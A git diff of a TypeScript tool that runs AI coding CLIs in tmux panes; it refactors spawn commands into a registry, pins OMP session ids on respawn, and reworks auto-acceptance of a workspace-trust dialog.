extends EventEmitter { piConfig: this._piConfig, grokConfig: this._grokConfig, deepSeekConfig: this._deepSeekConfig, + // OMP resolution/pinning does NOT happen here. This object is built + // EAGERLY — including on every boot-recovery reattach, before anyone + // knows whether the pane is actually dead — so resolving here mutated + // `_ompConfig`/`_claudeSessionId` even for a pane that was simply being + // reattached to, not respawned; with two omp tabs in the same case dir + // that mis-pinned the ALIVE session onto whichever file happened to be + // newest on disk (reported live in the Ark0N/Codeman#353 review). The + // real pin now happens in `_pinOmpRespawnId()`, called by callers ONLY + // once they've confirmed an actual respawn is about to happen. + ompConfig: this._ompConfig, resumeSessionId: this._resumeSessionId, envOverrides: this._envOverrides, effort: this._effort, @@ -1627,6 +1671,47 @@ export class Session extends EventEmitter { }; } + /** + * OMP-only: resolve and PIN the exact conversation to continue when + * respawning a dead pane, so every later respawn reuses the same id + * instead of re-resolving (and re-risking picking up a DIFFERENT + * conversation that happened to touch this directory more recently). See + * the comment at the call site in {@link _buildRespawnPaneOptions} for why + * "newest file on disk" is safe here specifically. Non-omp modes and a + * session that already carries an explicit id pass through untouched. + */ + private _pinOmpRespawnId(): void { + // The omp-jsonl transcript reader is what this pin exists to feed, so ask for the + // reader rather than for the CLI's name. + if (getCli(this.mode)?.capabilities.transcript !== 'omp-jsonl') return; + if (this._ompConfig?.resumeSessionId) return; + // Callers MUST call this only immediately before an ACTUAL respawn (a + // confirmed-dead pane, or a genuine remote reattach) — never while merely + // building options that might not lead to a respawn. A fresh "Run OMP" + // click has no _muxSession yet and must never inherit whatever omp + // conversation happens to be newest on disk for this working directory + // (reported live 2026-08-27, fixed in 13a19f79); this guard keeps that + // fix intact now that resolution has moved out of the eager options build. + if (!this._muxSession) return; + const resolvedId = resolveAndClaimOmpSessionId(this.workingDir); + if (resolvedId) { + this._ompConfig = { ...this._ompConfig, resumeSessionId: resolvedId }; + // Alias omp's own session uuid to this Codeman id — see the + // constructor's claudeSessionId comment for why this field is the + // (generically-named) mechanism that folds a Past-Sessions row back + // into its live/persisted session instead of duplicating it. + this._claudeSessionId = resolvedId; + return; + } + // Nothing unclaimed on disk (the dying process never got far enough to + // write a session file, or a sibling already claimed the only candidate) + // — fall back to the CLI's own "most recent" heuristic. + console.warn( + `[Session] OMP: no session file found under ${this.workingDir} to pin --resume on respawn; falling back to ambiguous --continue` + ); + this._ompConfig = { ...this._ompConfig, continueSession: true }; + } + /** * Remember whether the CLI currently wants to be told about mouse clicks. * @@ -1731,7 +1816,11 @@ export class Session extends EventEmitter { // `Saved to: file://...` — that scanner (and its relaxed trust policy) is // only enabled for codex-mode sessions. The web server applies the trust // boundary for each request source. - const attachmentRequests = parseTerminalAttachmentRequests(data, { codexArtifacts: this.mode === 'codex' }); + // Codex is the only CLI that announces generated artifacts in its pane output, and it + // is also the only one whose transcript is a rollout file — one implies the other. + const attachmentRequests = parseTerminalAttachmentRequests(data, { + codexArtifacts: getCli(this.mode)?.capabilities.transcript === 'codex-rollout', + }); for (const request of attachmentRequests) { const seenKey = `${request.source}:${request.path}`; if (this._attachmentMagicSeen.has(seenKey)) continue; @@ -1765,6 +1854,10 @@ export class Session extends EventEmitter { this._interactiveStartedAt = Date.now(); this._trustDialogAttempts = 0; this._lastTrustDialogScanAt = 0; + if (this._trustDialogTimer) { + clearTimeout(this._trustDialogTimer); + this._trustDialogTimer = null; + } // COD-118: if the PTY exit breaker has tripped (repeated non-zero exits in a // short window), refuse to respawn. This is the uniform choke point that stops @@ -1791,8 +1884,8 @@ export class Session extends EventEmitter { // repaint/alt-screen mode; issue #154). Remote sessions run claude on // another host, so a local probe wouldn't reflect their version; they get // their own over-ssh probe below. Cached process-wide, best-effort. - if (this.mode === 'claude' && !this._remote && !this._docker && !this._cliVersion) { - const probedVersion = getClaudeCliVersion(); + if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) { + const probedVersion = resolveSessionCliVersion(this.mode); if (probedVersion) { this._cliVersion = probedVersion; this.emit('cliInfoUpdated', { @@ -1808,7 +1901,7 @@ export class Session extends EventEmitter { // reports the HOST claude (wrong version, and leaving cliVersion undefined // silently disables wheel-forwarding, #154). Probe the IN-CONTAINER version // instead — deferred so the container is up after the mux attach below. - if (this.mode === 'claude' && this._docker && !this._cliVersion) { + if (cliNeedsVersionProbe(this.mode) && this._docker && !this._cliVersion) { const dockerMeta = this._docker; setTimeout(() => { if (this._isStopped || this._cliVersion) return; @@ -1834,7 +1927,7 @@ export class Session extends EventEmitter { // is the unreliable path #154 was filed for, so remote Claude cases silently // never got wheel-forwarding (noted in the #205 analysis). Probe over ssh, // deferred so session start never waits on the ssh round-trip. - if (this.mode === 'claude' && this._remote && !this._cliVersion) { + if (cliNeedsVersionProbe(this.mode) && this._remote && !this._cliVersion) { const remoteMeta = this._remote; setTimeout(() => { if (this._isStopped || this._cliVersion) return; @@ -1877,6 +1970,7 @@ export class Session extends EventEmitter { piConfig: this._piConfig, grokConfig: this._grokConfig, deepSeekConfig: this._deepSeekConfig, + ompConfig: this._ompConfig, resumeSessionId: this._resumeSessionId, envOverrides: this._envOverrides, effort: this._effort, @@ -1888,8 +1982,14 @@ export class Session extends EventEmitter { spawnErrLabel: 'mux attachment', }); - // Set claudeSessionId — when resuming, the Claude conversation ID is the resumed one. - this._claudeSessionId = this._resumeSessionId || this.id; + // Set claudeSessionId — when resuming, the Claude conversation ID is the + // resumed one. `_pinOmpRespawnId()` (called just above, inside + // `_setupOrAttachMuxSession()`'s dead-pane branch) may have JUST aliased + // this to omp's own session uuid — that already-resolved id must win + // over the generic `this.id` fallback, or this line clobbers it back + // to the Codeman id + // on every single respawn. + this._claudeSessionId = this._resumeSessionId || this._ompConfig?.resumeSessionId || this.id; // For NEW mux sessions: wait for readiness then clean buffer // For RESTORED mux sessions: don't do anything - client will fetch buffer on tab switch @@ -1946,35 +2046,16 @@ export class Session extends EventEmitter { // Fallback to direct PTY if mux is not used if (!this.ptyProcess) { - // OpenCode sessions require tmux for env var injection (API keys via setenv) - if (this.mode === 'opencode') { - throw new Error('OpenCode sessions require tmux. Direct PTY fallback is not supported.'); - } - // Codex sessions require tmux for OPENAI_API_KEY injection via setenv - if (this.mode === 'codex') { - throw new Error('Codex sessions require tmux. Direct PTY fallback is not supported.'); - } - // Gemini sessions require tmux for Gemini/Google auth env injection via setenv - if (this.mode === 'gemini') { - throw new Error('Gemini sessions require tmux. Direct PTY fallback is not supported.'); - } - // Antigravity sessions require tmux for env override injection via setenv - if (this.mode === 'antigravity') { - throw new Error('Antigravity sessions require tmux. Direct PTY fallback is not supported.'); - } - // Pi sessions require tmux for env override injection via setenv - if (this.mode === 'pi') { - throw new Error('Pi sessions require tmux. Direct PTY fallback is not supported.'); - } - // Grok sessions require tmux for XAI_API_KEY / GROK_* injection via setenv - if (this.mode === 'grok') { - throw new Error('Grok sessions require tmux. Direct PTY fallback is not supported.'); - } - // DeepSeek sessions require tmux for DEEPSEEK_API_KEY / DSH_PERMISSION_MODE - // injection via setenv — and for the HERDR_* status-bridge triple, without - // which the mode silently loses its definitive idle/blocked signals. - if (this.mode === 'deepseek') { - throw new Error('DeepSeek Harness sessions require tmux. Direct PTY fallback is not supported.'); + // Every external CLI requires tmux and has NO direct-PTY fallback, because its + // secrets are injected with socket-scoped `tmux setenv` and so must never touch a + // spawn command line. DeepSeek additionally needs it for the HERDR_* status-bridge + // triple, without which the mode silently loses its definitive idle/blocked signals. + // + // Refusing is the only safe answer: falling back to a direct PTY would start the CLI + // unauthenticated (or, worse, tempt a future change into passing the key as an + // argument, where every process on the box can read it). + if (getCli(this.mode)?.capabilities.requiresMux) { + throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`); } try { // Pass --session-id to use the SAME ID as the Codeman session @@ -2007,7 +2088,12 @@ export class Session extends EventEmitter { } // Set claudeSessionId — when resuming, the Claude conversation ID is the resumed one. - this._claudeSessionId = this._resumeSessionId || this.id; + // Mirrors the mux branch above and must not clobber it: this line runs + // unconditionally after both the mux and direct-PTY paths, so it also needs + // the ompConfig fallback or it stomps the mux branch's correctly-resolved + // OMP alias back to this.id on every mux/plain-reattach boot recovery + // (the "third reset point" — see DECISIONS.md). + this._claudeSessionId = this._resumeSessionId || this._ompConfig?.resumeSessionId || this.id; this._pid = this.ptyProcess.pid; console.log('[Session] Interactive PTY spawned with PID:', this._pid); @@ -2141,6 +2227,15 @@ export class Session extends EventEmitter { * makes a retry safe, since the terminal buffer is append-only and keeps the * dialog in its tail long after it has been answered. * + * ⚠️ **The keystroke is read off the screen, never assumed.** Claude Code + * 2.1.252 dropped the option numbers, put "No, exit" first, and highlights IT + * by default, so the bare `\r` this used to send now answers *exit*: a fresh + * case died (`Pane is dead (status 1)`) about six seconds after spawning. + * `trustDialogNextKey()` returns one step at a time — an arrow while the + * cursor is on the wrong option, Enter only once the screen shows it on the + * trust option — and this method re-reads the pane between the two, so a + * dropped arrow costs a repaint instead of the session. + * * Three guards keep an Enter press off a live session: a startup-only window, * a two-marker match (isTrustDialogScreen), and an attempt cap. */ @@ -2161,17 +2256,39 @@ export class Session extends EventEmitter { this._terminalBuffer.value.slice(-TRUST_DIALOG_SCAN_BYTES); if (!isTrustDialogScreen(screen)) return; + // Null means the frame does not say which option is highlighted. Waiting for + // the next repaint is the safe move; pressing Enter blind is the bug. + const key = trustDialogNextKey(screen); + if (key === null) return; + this._trustDialogAttempts++; if (this._trustDialogAttempts > TRUST_DIALOG_MAX_ATTEMPTS) { this._trustDialogAccepted = true; // leave it to the user rather than keep typing console.warn(`[Session] Workspace trust dialog did not clear after retries: ${this.id}`); return; } + const step = key === TRUST_KEY_CONFIRM ? 'confirming' : 'moving to the trust option'; console.log( - `[Session] Auto-accepting workspace trust dialog for: ${this.id} (attempt ${this._trustDialogAttempts})` + `[Session] Auto-accepting workspace trust dialog for: ${this.id} (attempt ${this._trustDialogAttempts}, ${step})` ); - // Enter confirms the highlighted default, "1. Yes, I trust this folder". - this.writeViaMux('\r'); + this.writeViaMux(key); + + // ⚠️ Schedule the next read; do NOT wait for more PTY output. This scan only + // ever ran from `onData`, which was enough while one Enter answered the + // dialog. It is not enough now: the arrow that moves the cursor is the LAST + // output the pane produces, so a dialog left sitting on the trust option + // never gets its Enter and the worker stays parked on it forever (measured + // on a live 2.1.252 spawn: cursor moved at 6 s, then nothing). The timer is + // one-shot and self-rearming through this same path, and every exit route + // goes through _clearAllTimers(). + // The +100ms puts the re-entry OUTSIDE the scan throttle above; firing at + // exactly the throttle boundary would let the scan return early and break + // the chain with the dialog still on screen. + if (this._trustDialogTimer) clearTimeout(this._trustDialogTimer); + this._trustDialogTimer = setTimeout(() => { + this._trustDialogTimer = null; + this._maybeAcceptTrustDialog(); + }, TRUST_DIALOG_RETRY_MS + 100); } /** @@ -2298,10 +2415,36 @@ export class Session extends EventEmitter { this._isWorking = false; this._status = 'idle'; this._lastPromptTime = Date.now(); + if (wasWorking) this._maybeCaptureOmpSessionId(); this.emit('idle'); } } + /** + * A brand-new omp session (never yet respawned, so + * {@link _pinOmpRespawnId} has never run) has no captured + * omp-native session id: `_claudeSessionId` still defaults to this + * session's OWN Codeman id from the constructor. Until something aliases + * it, the omp history scan's row for this exact conversation (keyed by + * omp's own uuid) merges with nothing and shows up a second time. The + * first turn going idle is the first moment omp has definitely written + * its session file, so resolve and alias it here — best-effort, and only + * once (skips once `_claudeSessionId` differs from `this.id`, whether from + * this capture or a resume/respawn that already resolved one). + */ + private _maybeCaptureOmpSessionId(): void { + if (getCli(this.mode)?.capabilities.transcript !== 'omp-jsonl' || this._claudeSessionId !== this.id) return; + try { + const resolvedId = resolveAndClaimOmpSessionId(this.workingDir); + if (resolvedId) { + this._claudeSessionId = resolvedId; + this._ompConfig = { ...this._ompConfig, resumeSessionId: resolvedId }; + } + } catch { + // Best-effort: a failed capture just means the next respawn tries again. + } + } + /** * Process expensive parsers (ANSI strip, Ralph, bash tool, token, CLI info, task descriptions). * Called on a throttled schedule (every EXPENSIVE_PROCESS_INTERVAL_MS) instead of on every @@ -2670,6 +2813,12 @@ export class Session extends EventEmitter { } private _clearAllTimers(): void { + // Clear the workspace-trust follow-up read + if (this._trustDialogTimer) { + clearTimeout(this._trustDialogTimer); + this._trustDialogTimer = null; + } + // Clear activity timeout to prevent memory leak if (this.activityTimeout) { clearTimeout(this.activityTimeout); diff --git a/src/tmux-manager.ts b/src/tmux-manager.ts index f177d35a..9fdd2bda 100644 --- a/src/tmux-manager.ts +++ b/src/tmux-manager.ts @@ -54,16 +54,25 @@ import { type PiConfig, type GrokConfig, type DeepSeekConfig, + type OmpConfig, type SessionRemote, type SessionDocker, type DockerCommandMode, } from './types.js'; -import { buildEffortCliArgs, buildNameCliArgs } from './session-cli-builder.js'; +import { getCli } from './config/cli-registry/registry.js'; +import { missingCliMessage, resolveCliBinDir } from './utils/cli-resolver.js'; +import { + buildSpawnCommandFromRegistry, + configSetenvValues, + legacyConfigForMode, +} from './session-cli-registry-bridge.js'; +import type { CliEntry } from './config/cli-registry/types.js'; import { buildSshConnectionArgs, defaultRemoteCommandForMode, remoteLoginShellCommand, remoteSshTarget, + remoteTmuxSessionAlive, } from './remote-hosts.js'; import { buildDockerBaseArgs, @@ -74,34 +83,12 @@ import { hostGatewayAlias, resolveDockerClaudeArtifacts, resolveDockerCredentialArtifacts, + resolveDockerDaemonMountSource, type DockerCreateContext, type DockerMount, type DockerSeedCopy, } from './docker-hosts.js'; -import { - wrapWithNice, - SAFE_PATH_PATTERN, - findClaudeDir, - getClaudeCliVersion, - getClaudeNotFoundMessage, - resolveOpenCodeDir, - getOpenCodeNotFoundMessage, - resolveCodexDir, - getCodexNotFoundMessage, - resolveGeminiDir, - getGeminiNotFoundMessage, - resolveAntigravityDir, - getAntigravityNotFoundMessage, - resolvePiDir, - getPiNotFoundMessage, - resolveGrokDir, - getGrokNotFoundMessage, - resolveDeepSeekDir, - getDeepSeekNotFoundMessage, - resolveDefaultDeepSeekProfile, - resolveLocalShell, - loginShellArgs, -} from './utils/index.js'; +import { wrapWithNice, SAFE_PATH_PATTERN, resolveLocalShell, loginShellArgs } from './utils/index.js'; import type { TerminalMultiplexer, MuxSession, @@ -645,287 +632,17 @@ function buildClaudePermissionFlags(claudeMode?: ClaudeMode, allowedTools?: stri } /** - * Build the opencode CLI command with appropriate flags. - */ -function buildOpenCodeCommand(config?: OpenCodeConfig): string { - const parts = ['opencode']; - - // Model selection — allow provider/model format (alphanumeric, dots, hyphens, slashes) - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - // Continue existing session - if (config?.continueSession) { - const safeId = /^[a-zA-Z0-9_-]+$/.test(config.continueSession) ? config.continueSession : undefined; - if (safeId) parts.push('--session', safeId); - if (safeId && config.forkSession) parts.push('--fork'); - } - - return parts.join(' '); -} - -/** - * Build the codex CLI command with appropriate flags. + * Build the codex CLI command. * - * Codeman launches Codex's native TUI and handles replay/scrollback by - * stripping destructive terminal sequences before xterm.js sees them. + * Kept as a named wrapper purely because callers (and `test/tmux-manager.test.ts`) reach for + * it directly; the command itself is registry data now, like every other CLI's. The `??` + * fallback covers a registry in which codex has been disabled or removed — this function + * promises a string, so it degrades to the bare binary rather than throwing. */ export function buildCodexCommand(config?: CodexConfig): string { - const parts = ['codex']; - - if (config?.dangerouslyBypassApprovals) { - parts.push('--dangerously-bypass-approvals-and-sandbox'); - } - - if (config?.animations !== undefined) { - parts.push('--config', `tui.animations=${config.animations ? 'true' : 'false'}`); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeSessionId) { - const safeId = /^[a-zA-Z0-9_-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeId) parts.push('resume', safeId); - } - - return parts.join(' '); -} - -/** - * Build the Gemini CLI command with appropriate flags. - * - * `--skip-trust` avoids a first-run workspace trust prompt inside Codeman. - * Approval mode defaults to `yolo` for parity with Codeman's Claude default - * of `--dangerously-skip-permissions`; users can override it later through - * Gemini config once Codeman exposes richer Gemini settings. - */ -function buildGeminiCommand(config?: GeminiConfig): string { - const parts = ['gemini', '--skip-trust']; - - const approvalMode = config?.approvalMode || 'yolo'; - if (['default', 'auto_edit', 'yolo', 'plan'].includes(approvalMode)) { - parts.push('--approval-mode', approvalMode); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeSession) { - const safeId = /^[a-zA-Z0-9._-]+$/.test(config.resumeSession) ? config.resumeSession : undefined; - if (safeId) parts.push('--resume', safeId); - } - - return parts.join(' '); -} - -/** - * Build the Antigravity CLI (agy) command with appropriate flags. - * - * Unlike gemini's yolo default, `--dangerously-skip-permissions` is only added - * when the config explicitly asks for it (the frontend sends it for parity with - * Codeman's Claude default; the multi-user clamp strips it for non-granted owners, - * and an ABSENT config stays at agy's own prompting default — safe like Codex). - */ -function buildAntigravityCommand(config?: AntigravityConfig): string { - const parts = ['agy']; - - if (config?.dangerouslySkipPermissions) { - parts.push('--dangerously-skip-permissions'); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.resumeConversationId) { - const safeId = /^[a-zA-Z0-9._-]+$/.test(config.resumeConversationId) ? config.resumeConversationId : undefined; - if (safeId) parts.push('--conversation', safeId); - } - - return parts.join(' '); -} - -/** Pi's `--thinking` levels. Runtime allowlist — defense in depth beyond the Zod enum. */ -const PI_THINKING_LEVELS = new Set(['off', 'minimal', 'low', 'medium', 'high', 'xhigh', 'max']); - -/** - * Build the Pi CLI (pi.dev) command with appropriate flags. - * - * Pi has NO permission prompts and no `--dangerously-skip-permissions` analog, so - * there is deliberately nothing bypass-shaped here. The privileged knob is the - * TRI-STATE `approveProjectTrust`: `true` -> `--approve` (trust repo-local `.pi/` - * config, which means loading and EXECUTING repository TypeScript and installing - * missing project packages), `false` -> `--no-approve` (force-deny, used by the - * multi-user clamp so the trust prompt never appears), absent -> pi's own - * `defaultProjectTrust`. - * - * `--api-key` is deliberately NEVER wired: it would put a provider secret on the - * spawn command line (visible in `ps` and tmux state), which is exactly what the - * socket-scoped `tmux setenv` discipline exists to prevent. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure — the result is interpolated into a `bash -c "..."` string. - */ -function buildPiCommand(config?: PiConfig): string { - const parts = ['pi']; - - if (config?.approveProjectTrust === true) { - parts.push('--approve'); - } else if (config?.approveProjectTrust === false) { - parts.push('--no-approve'); - } - - if (config?.model) { - // `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id` (`openai/gpt-4o`). - const safeModel = /^[a-zA-Z0-9._\-/:]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - if (config?.provider) { - const safeProvider = /^[a-z0-9-]+$/.test(config.provider) ? config.provider : undefined; - if (safeProvider) parts.push('--provider', safeProvider); - } - - if (config?.thinking && PI_THINKING_LEVELS.has(config.thinking)) { - parts.push('--thinking', config.thinking); - } - - // --session and -c conflict; a valid explicit session id wins. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--session', safeSessionId); - } else if (config?.continueSession) { - parts.push('-c'); - } - - return parts.join(' '); -} - -/** - * Build the Grok Build CLI (xAI `grok`) command with appropriate flags. - * - * The bypass switch is `--always-approve` ("auto-approve all tool executions", - * grok's `bypassPermissions` permission mode; config-level deny rules still - * apply on top). Absent config spawns bare `grok`, i.e. grok's own default - * ask-mode, which is why the multi-user clamp only needs the only-if-sent - * branch for grok. Flag surface verified against grok 1.0.5. - * - * `XAI_API_KEY` is deliberately never wired as a flag: secrets flow through - * socket-scoped `tmux setenv` (envOverrides), never the spawn command line. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure: the result is interpolated into a `bash -c "..."` string. - */ -function buildGrokCommand(config?: GrokConfig): string { - const parts = ['grok']; - - if (config?.alwaysApprove) { - parts.push('--always-approve'); - } - - if (config?.model) { - const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined; - if (safeModel) parts.push('--model', safeModel); - } - - // --resume and -c conflict; a valid explicit session id wins. Ids only: - // grok's --resume also accepts session TITLES, which are arbitrary user - // strings, so the id regex doubles as the no-titles rule here. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--resume', safeSessionId); - } else if (config?.continueSession) { - parts.push('--continue'); - } - - return parts.join(' '); -} - -/** - * Build the DeepSeek Harness (`dsh`) command with appropriate flags. - * - * Unlike every sibling builder, the interesting decision here is not a flag but - * WHICH PROFILE to boot: `dsh` is a launcher over `$DSH_HOME/profiles/`, - * and DeepSeek ships no interactive terminal profile of its own, so the agent a - * pane runs is always one the user installed. An absent `profile` resolves to - * the first pane-capable profile on the box; when there is none we still emit a - * bare `dsh --profile ` rather than inventing a name, because the - * availability gate in createSession() has already refused the spawn by then and - * this path only runs for a session that passed it. - * - * There is deliberately NO permission flag: the harness has none. The sandbox - * and approval rows read `DSH_PERMISSION_MODE`, exported through `tmux setenv` - * in buildEnvExports() so it never lands on this command line. - * - * Like the sibling builders, every user value is regex-allowlisted and silently - * DROPPED on failure: the result is interpolated into a `bash -c "..."` string. - */ -function buildDeepSeekCommand(config?: DeepSeekConfig): string { - const parts = ['dsh']; - - // A profile name is a single path segment: it is both interpolated into the - // shell line and joined into a filesystem path. - const requested = config?.profile; - const safeProfile = - requested && /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/.test(requested) - ? requested - : (resolveDefaultDeepSeekProfile() ?? undefined); - if (safeProfile) parts.push('--profile', safeProfile); - - // The launcher forwards everything after its own flags to the profile's app, - // which is where `--resume` is understood. An explicit id wins over the - // most-recent-session form, mirroring the sibling builders. - const safeSessionId = - config?.resumeSessionId && /^[a-zA-Z0-9._-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined; - if (safeSessionId) { - parts.push('--resume', safeSessionId); - } else if (config?.resumeSession) { - parts.push('--resume'); - } - - return parts.join(' '); -} - -/** - * Build the spawn command for any session mode. - * Shared by createSession() and respawnPane() to avoid duplication. - */ -/** - * Build the shell fragment carrying the effort level as a SOFT default - * (see buildEffortCliArgs — `--effort ` for regular levels incl. max, - * `--settings '{"ultracode":true}'` for ultracode; deliberately not the - * CLAUDE_CODE_EFFORT_LEVEL env var, which hard-locks /effort switching). - * - * Injection-safe: effort is validated against the EFFORT_LEVELS allowlist inside - * buildEffortCliArgs, so the single-quoted values contain no user-controlled characters. - */ -function buildEffortSettingsFlag(effort?: EffortLevel): string { - const [flag, value] = buildEffortCliArgs(effort); - return flag && value ? ` ${flag} '${value}'` : ''; -} - -/** - * Build the ` --name ""` shell fragment, or '' when it must be - * omitted. Version-gated FAIL-CLOSED in buildNameCliArgs (an older/unknown CLI - * aborts startup on an unknown flag, which would kill every claude spawn), and - * the value is allowlist-sanitized there, so it contains none of the characters - * that are special inside this double-quoted interpolation. The peer name is a - * soft default (in-session /rename still wins), which is why this rides the - * spawn command rather than any persisted config. - */ -function buildClaudeNameFlag(sessionName: string | undefined, cliVersion: string | null): string { - const [flag, value] = buildNameCliArgs(sessionName, cliVersion); - return flag && value ? ` ${flag} "${value}"` : ''; + const entry = getCli('codex'); + if (!entry) return 'codex'; + return buildSpawnCommandFromRegistry(entry, { mode: 'codex', sessionId: '', codexConfig: config }) ?? 'codex'; } export function buildSpawnCommand(options: { @@ -941,6 +658,7 @@ export function buildSpawnCommand(options: { piConfig?: PiConfig; grokConfig?: GrokConfig; deepSeekConfig?: DeepSeekConfig; + ompConfig?: OmpConfig; resumeSessionId?: string; effort?: EffortLevel; /** Codeman session name, passed to claude as `--name` (version-gated, sanitized; local spawns only). */ @@ -953,48 +671,14 @@ export function buildSpawnCommand(options: { */ claudeCliVersion?: string | null; }): string { - if (options.mode === 'claude') { - // Validate model to prevent command injection - const safeModel = options.model && /^[a-zA-Z0-9._\-[\]]+$/.test(options.model) ? options.model : undefined; - const modelFlag = safeModel ? ` --model "${safeModel}"` : ''; - const effortFlag = buildEffortSettingsFlag(options.effort); - const nameFlag = buildClaudeNameFlag( - options.sessionName, - options.claudeCliVersion !== undefined ? options.claudeCliVersion : getClaudeCliVersion() - ); - // Use --resume to restore a previous conversation, otherwise --session-id for new sessions. - // Wrap --resume in a fallback: if it exits non-zero (session not found, corrupt, etc.), - // fall back to a new session with --session-id so the pane doesn't die. - const safeResumeId = - options.resumeSessionId && /^[a-f0-9-]+$/.test(options.resumeSessionId) ? options.resumeSessionId : undefined; - const permFlags = buildClaudePermissionFlags(options.claudeMode, options.allowedTools); - if (safeResumeId) { - const resumeCmd = `claude${permFlags} --resume "${safeResumeId}"${modelFlag}${effortFlag}${nameFlag}`; - const fallbackCmd = `claude${permFlags} --session-id "${options.sessionId}"${modelFlag}${effortFlag}${nameFlag}`; - return `${resumeCmd} || ${fallbackCmd}`; - } - return `claude${permFlags} --session-id "${options.sessionId}"${modelFlag}${effortFlag}${nameFlag}`; - } - if (options.mode === 'opencode') { - return buildOpenCodeCommand(options.openCodeConfig); - } - if (options.mode === 'codex') { - return buildCodexCommand(options.codexConfig); - } - if (options.mode === 'gemini') { - return buildGeminiCommand(options.geminiConfig); - } - if (options.mode === 'antigravity') { - return buildAntigravityCommand(options.antigravityConfig); - } - if (options.mode === 'pi') { - return buildPiCommand(options.piConfig); - } - if (options.mode === 'grok') { - return buildGrokCommand(options.grokConfig); - } - if (options.mode === 'deepseek') { - return buildDeepSeekCommand(options.deepSeekConfig); + // Every CLI's command shape is registry DATA, rendered by the argv engine — see + // config/cli-registry/argv.ts for why config can never contain shell text. A `shell`-kind + // entry (or an unregistered mode) renders `undefined` and falls through to the local + // login-shell resolution below, which cannot be templated because it varies per user. + const entry = getCli(options.mode); + if (entry) { + const rendered = buildSpawnCommandFromRegistry(entry, options); + if (rendered !== undefined) return rendered; } // #208: NOT the literal '$SHELL'. This string is embedded in the `bash -c "…"` // argument of the respawn-pane line, which execSync runs through `/bin/sh -c`, @@ -1179,7 +863,6 @@ export function buildRemoteKillCommand(options: { remote: SessionRemote; session * adopts/resizes/respawns our session (same defence as the remote socket). */ const DOCKER_TMUX_SOCKET = 'codeman-docker'; - /** * Deterministic, reattach-stable in-container tmux session name. Derived from the * same stable field the local muxName uses (first 8 chars of the sessionId), so a @@ -1202,22 +885,15 @@ const RESUME_ID_SAFE = /^[A-Za-z0-9._-]+$/; */ function appendResumeFlag(modeCommand: string, mode: SessionMode, resumeId: string): string { if (!RESUME_ID_SAFE.test(resumeId)) return modeCommand; - switch (mode) { - case 'gemini': - return `${modeCommand} --resume ${resumeId}`; - case 'codex': - return `${modeCommand} resume ${resumeId}`; - case 'antigravity': - return `${modeCommand} --conversation ${resumeId}`; - case 'pi': - return `${modeCommand} --session ${resumeId}`; - case 'grok': - return `${modeCommand} --resume ${resumeId}`; - case 'deepseek': - return `${modeCommand} --resume ${resumeId}`; - default: - return modeCommand; // shell / opencode: no resume - } + // The append-only sibling of the full launch spec: this bolts a resume onto an ALREADY + // built command, for the docker "the in-container tmux was re-created" path. An entry with + // no `resumeAppend` has no resume form to append (shell, opencode — opencode's docker + // resume rides its own config object instead). + const append = getCli(mode)?.launch.resumeAppend; + if (!append) return modeCommand; + return append.style === 'flag' + ? `${modeCommand} ${append.flag} ${resumeId}` + : `${modeCommand} ${append.token} ${resumeId}`; } /** @@ -1337,14 +1013,29 @@ export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string { const imageCheck = adopted ? '' : `${base} image inspect ${image} >/dev/null 2>&1 || { echo ${imageMissingMsg}; exit 1; }`; - // create-if-missing (idempotent): reconnect / boot recovery re-runs this exact chain. + // create-if-missing (idempotent): reconnect / boot recovery re-runs this exact + // chain. A daemon without swap accounting warns whenever --memory is present, + // even when --memory-swap is omitted. In compatibility mode, retain the memory + // cap and filter ONLY that exact warning; all other stdout/stderr and the real + // create exit status are preserved so mount/config failures remain visible. + // A session-unique file avoids shell variables and command substitution, both + // of which would be expanded too early by the nested bash/tmux launch layers. + const createOutputPath = shellescape(`/tmp/codeman-create-${sessionId}.log`); + const filteredCreateOutput = `sed '/^WARNING: Your kernel does not support swap limit capabilities or the cgroup is not mounted\\. Memory limited without swap\\.$/d' ${createOutputPath}`; + const removeCreateOutput = `rm -f ${createOutputPath}`; + const createCommand = createContext.disableSwapLimit + ? `{ if ${base} ${createArgs} >${createOutputPath} 2>&1; ` + + `then ${filteredCreateOutput}; ${removeCreateOutput}; ` + + `elif ${base} inspect ${name} >/dev/null 2>&1; then ${removeCreateOutput}; ` + + `else ${filteredCreateOutput} >&2; ${removeCreateOutput}; false; fi; }` + : `${base} ${createArgs}`; const ensure = adopted ? `${base} inspect ${name} >/dev/null 2>&1 || { echo ${notFoundMsg}; exit 1; }` - : `${base} inspect ${name} >/dev/null 2>&1 || ${base} ${createArgs}`; - // ⚠️ No double quotes and no `$(…)` here. This whole chain is embedded in an - // outer `bash -c "…"`, so an unescaped `"` closes that string early, the rest - // is re-tokenized, and tmux fails to exec with a bare `execvp(3) failed`. A - // `grep -qx` pipeline reads the same answer using only the single-quoted form + : `${base} inspect ${name} >/dev/null 2>&1 || ${createCommand}`; + // ⚠️ No double quotes and no `$(…)` in the ADOPTED 